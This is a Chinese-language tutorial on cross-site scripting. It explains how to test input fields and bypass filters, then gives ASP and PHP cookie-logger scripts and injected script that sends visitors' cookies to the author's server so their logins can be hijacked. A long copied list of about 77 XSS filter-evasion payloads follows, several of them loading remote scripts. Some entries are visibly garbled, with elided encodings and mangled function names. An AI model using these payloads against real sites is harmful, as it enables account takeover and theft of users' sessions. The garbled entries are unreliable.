xss跨站攻击

首先先测试 是不是存在XSS

留言或者注入点 可能存在xss的位置输入

1.判断是否存在xss

<script>alert('www.cnmsec.org')</script> 

如果弹出 www.cnmsec.org 说明存在xss

如果网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,

看看网站到底过滤掉了什么字符

2.xss过滤突破

如果被过滤了可以尝试变换大小写

可以尝试,

"><script>alert(1)</alert>

过滤了可以尝试

<sc<script>ript>alert(1)</sc</script>ript>

跟过滤上传格式asp  添加aaspsp一个道理

如果长度限制  

可以查找源代码 

增加maxlength = 长度

3.  asp cookies盗取

新建一个 cookies.asp

<%
testfile=Server.MapPath("cookies.txt")
msg=Request("cookies")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(" & msg &" )
thisfile.Close
set fs = nothing
%>

上传cookies.asp到自己的web网站的根目录

例如地址为

https://www.cnmsec.org/cookie.asp

同目录新建一个 cookies.js   内容为

document.forms[0].action='www.cnmsec.org/cookie.asp'+document.cookie

然后再存在xss的地方输入

<script src=www.cnmsec.org/cookies.js></script>

获取到cookies

然后访问登陆  登陆错误, 然后将cookies粘贴进去,点击修改

 

4. php  cookies的盗取


新建logger.php

<?php
$cookies = $_GET['cookies'];
$log =fopen("log.txt","a");
fwrite($log,$cookies."\n");
fclose($log);
?>


上传logger.php到自己的Web网站根目录

同时新建一个名为log.txt的文件。

xss处插入

<script>document.location ="https://www.cnmsec.org/logger.php?cookie="+ document.cookie;</script>

 


貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。

 (1)普通的XSS JavaScript注入
 <SCRIPT SRC=https://3w.org/XSS/xss.js></SCRIPT>

 (2)IMG标签XSS使用JavaScript命令
 <SCRIPT SRC=https://3w.org/XSS/xss.js></SCRIPT>

 (3)IMG标签无分号无引号
 <IMG SRC=javascript:alert(‘XSS’)>

 (4)IMG标签大小写不敏感
 <IMG SRC=JaVaScRiPt:alert(‘XSS’)>

 (5)HTML编码(必须有分号)
 <IMG SRC=javascript:alert(“XSS”)>

 (6)修正缺陷IMG标签
 <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

 (7)formCharCode标签(计算器)
 <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

 (8)UTF-8的Unicode编码(计算器)
 <IMG SRC=jav..省略..S')>

 (9)7位的UTF-8的Unicode编码是没有分号的(计算器)
 <IMG SRC=jav..省略..S')>

 (10)十六进制编码也是没有分号(计算器)
 <IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>

 (11)嵌入式标签,将Javascript分开
 <IMG SRC=”jav ascript:alert(‘XSS’);”>

 (12)嵌入式编码标签,将Javascript分开
 <IMG SRC=”jav ascript:alert(‘XSS’);”>

 (13)嵌入式换行符
 <IMG SRC=”jav ascript:alert(‘XSS’);”>

 (14)嵌入式回车
 <IMG SRC=”jav ascript:alert(‘XSS’);”>

 (15)嵌入式多行注入JavaScript,这是XSS极端的例子
 <IMG SRC=”javascript:alert(‘XSS‘)”>

 (16)解决限制字符(要求同页面)
 <script>z=’document.’</script>
 <script>z=z+’write(“‘</script>
 <script>z=z+’<script’</script>
 <script>z=z+’ src=ht’</script>
 <script>z=z+’tp://ww’</script>
 <script>z=z+’w.shell’</script>
 <script>z=z+’.net/1.’</script>
 <script>z=z+’js></sc’</script>
 <script>z=z+’ript>”)’</script>
 <script>eval_r(z)</script>

 (17)空字符
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out

 (18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

 (19)Spaces和meta前的IMG标签
 <IMG SRC=”   javascript:alert(‘XSS’);”>

 (20)Non-alpha-non-digit XSS
 <SCRIPT/XSS SRC=”https://3w.org/XSS/xss.js”></SCRIPT>

 (21)Non-alpha-non-digit XSS to 2
 <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

 (22)Non-alpha-non-digit XSS to 3
 <SCRIPT/SRC=”https://3w.org/XSS/xss.js”></SCRIPT>

 (23)双开括号
 <<SCRIPT>alert(“XSS”);//<</SCRIPT>

 (24)无结束脚本标记(仅火狐等浏览器)
 <SCRIPT SRC=https://3w.org/XSS/xss.js?<B>

 (25)无结束脚本标记2
 <SCRIPT SRC=//3w.org/XSS/xss.js>

 (26)半开的HTML/JavaScript XSS
 <IMG SRC=”javascript:alert(‘XSS’)”

 (27)双开角括号
 <iframe src=https://3w.org/XSS.html <

 (28)无单引号 双引号 分号
 <SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>

 (29)换码过滤的JavaScript
 \”;alert(‘XSS’);//

 (30)结束Title标签
 </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

 (31)Input Image
 <INPUT SRC=”javascript:alert(‘XSS’);”>

 (32)BODY Image
 <BODY BACKGROUND=”javascript:alert(‘XSS’)”>

 (33)BODY标签
 <BODY(‘XSS’)>

 (34)IMG Dynsrc
 <IMG DYNSRC=”javascript:alert(‘XSS’)”>

 (35)IMG Lowsrc
 <IMG LOWSRC=”javascript:alert(‘XSS’)”>

 (36)BGSOUND
 <BGSOUND SRC=”javascript:alert(‘XSS’);”>

 (37)STYLE sheet
 <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>

 (38)远程样式表
 <LINK REL=”stylesheet” HREF=”https://3w.org/xss.css”>

 (39)List-style-image(列表式)
 <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

 (40)IMG VBscript
 <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS

 (41)META链接url
 <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=https://;URL=javascript:alert(‘XSS’);”>

 (42)Iframe
 <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>

 (43)Frame
 <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>

 (44)Table
 <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>

 (45)TD
 <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>

 (46)DIV background-image
 <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

 (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
 <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

 (48)DIV expression
 <DIV STYLE=”width: expression_r(alert(‘XSS’));”>

 (49)STYLE属性分拆表达
 <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>

 (50)匿名STYLE(组成:开角号和一个字母开头)
 <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>

 (51)STYLE background-image
 <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>

 (52)IMG STYLE方式
exppression(alert(“XSS”))’>

 (53)STYLE background
 <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

 (54)BASE
 <BASE HREF=”javascript:alert(‘XSS’);//”>

 (55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
 <EMBED SRC=”https://3w.org/XSS/xss.swf” ></EMBED>

 (56)在flash中使用ActionScrpt可以混进你XSS的代码
a=”get”;
b=”URL(\”";
c=”javascript:”;
d=”alert(‘XSS’);\”)”;
eval_r(a+b+c+d);

 (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
 <HTML xmlns:xss>
 <?import namespace=”xss” implementation=”https://3w.org/XSS/xss.htc”>
 <xss:xss>XSS</xss:xss>
 </HTML>

 (58)如果过滤了你的JS你可以在图片里添加JS代码来利用
 <SCRIPT SRC=””></SCRIPT>

 (59)IMG嵌入式命令,可执行任意命令
 <IMG SRC=”https://www.XXX.com/a.php?a=b”>

 (60)IMG嵌入式命令(a.jpg在同服务器)
Redirect 302 /a.jpg https://www.XXX.com/admin.asp&deleteuser

 (61)绕符号过滤
 <SCRIPT a=”>” SRC=”https://3w.org/xss.js”></SCRIPT>

 (62)
 <SCRIPT =”>” SRC=”https://3w.org/xss.js”></SCRIPT>

 (63)
 <SCRIPT a=”>” ” SRC=”https://3w.org/xss.js”></SCRIPT>

 (64)
 <SCRIPT “a=’>’” SRC=”https://3w.org/xss.js”></SCRIPT>

 (65)
 <SCRIPT a=`>` SRC=”https://3w.org/xss.js”></SCRIPT>

 (66)
 <SCRIPT a=”>’>” SRC=”https://3w.org/xss.js”></SCRIPT>

 (67)
 <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”https://3w.org/xss.js”></SCRIPT>

 (68)URL绕行
 <A HREF=”https://127.0.0.1/”>XSS</A>

 (69)URL编码
 <A HREF=”https://3w.org”>XSS</A>

 (70)IP十进制
 <A HREF=”https://3232235521″>XSS</A>

 (71)IP十六进制
 <A HREF=”https://0xc0.0xa8.0×00.0×01″>XSS</A>

 (72)IP八进制
 <A HREF=”https://0300.0250.0000.0001″>XSS</A>

 (73)混合编码
 <A HREF=”h
tt p://6 6.000146.0×7.147/”">XSS</A>

 (74)节省[http:]
 <A HREF=”//www.google.com/”>XSS</A>

 (75)节省[www]
 <A HREF=”https://google.com/”>XSS</A>

 (76)绝对点绝对DNS
 <A HREF=”https://www.google.com./”>XSS</A>

 (77)javascript链接
 <A HREF=”javascript:document.location=’https://www.google.com/’”>XSS</A>


评论